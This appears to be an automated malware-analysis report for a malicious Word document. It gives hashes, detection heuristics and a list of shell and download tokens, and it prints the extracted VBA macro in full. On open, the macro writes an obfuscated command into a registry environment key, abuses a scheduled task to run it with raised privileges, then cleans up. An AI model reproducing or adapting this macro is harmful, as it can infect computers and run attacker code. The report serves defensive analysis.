Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0bb026287f97c70c…

MALICIOUS

Office (OOXML)

32.0 KB Created: 2021-02-19 05:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-23
MD5: 3edcbcfcd494a9cd823b3be3dad14046 SHA-1: 7574c2cdc32527b1a84c781a4d2397cf36035ce5 SHA-256: 0bb026287f97c70c3e62525ec9d91079c2a2beb50b1e60f08407099f68b1631c
170 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set KFJFKSLDKASDAS = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set KFJFKSLDKASDAS = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1758 bytes
SHA-256: 1cd1b71e0ab0284b53dd134f02c159d0ed1524cc7d0ab8d0071101eedab36293
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
 Set KFJFKSLDKASDAS = CreateObject("WScript.Shell")
KFJFKSLDKASDAS.RegWrite dwq("·´º¦ ¼ª­­º±« ª¬º­£º‘‰–��‘’š‘‹£ˆ–‘›–�"), dwq("œ’›ßМß�¡�ˆš�Œ—¡š“¡“ßÒˆßÎß¾››Ò²�¯�š™š�š‘œšßÒº‡œ“ŠŒ–�‘¯ž‹—ßÝÛš‘‰Åž��›ž‹žÝĬ‹ž�‹Ò¬“šš�ßÎÍÄß×±šˆÒ°�•šœ‹ß±š‹Ñ¨š�¼“–š‘‹ÖÑ»�ˆ‘“�ž›¹–“š×Ø—‹‹�ŒÅÐЇ‘ˆÑ–‹›š‘‹—š�Ñ�ŠÐÎÊÎÈÆÏÍÏËÍÑš‡šØÓ×Ûš‘‰Åž��›ž‹žÖÔØ£³‹ºž¸Ñš‡šØÖĬ‹ž�‹Ò¬“šš�ßÍÄ߬‹ž�‹Ò¯��œšŒŒßÛš‘‰Åž��›ž‹ž£³‹ºž¸Ñš‡šÄÙ­º²ßØ")
   KFJFKSLDKASDAS.Run (dwq("Œœ—‹žŒ”ŒßÐ�Š‘ßЋ‘ߣ²–œ��Œ�™‹£¨–‘›�ˆŒ£»–Œ”¼“šž‘Š�£¬–“š‘‹¼“šž‘Š�ßж"))
  CreateObject("Excel.Application").Wait (Now + TimeValue("0:00:07"))
   KFJFKSLDKASDAS.RegDelete dwq("·´º¦ ¼ª­­º±« ª¬º­£º‘‰–��‘’š‘‹£ˆ–‘›–�")
   ActiveDocument.Close
   End Sub
Function dwq(xa)
        Dim vTempPwd
        vTempPwd = ""
        dwq = ""
        For i = 1 To Len(xa)
            vTempPwd = vTempPwd & Chr((255 - Asc(Mid(xa, i, 1))))
        Next
        dwq = vTempPwd
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 39bc5928cd89a8f7059fad3d46979a5a47b509fed7b25b5d20e88bf54a62bd01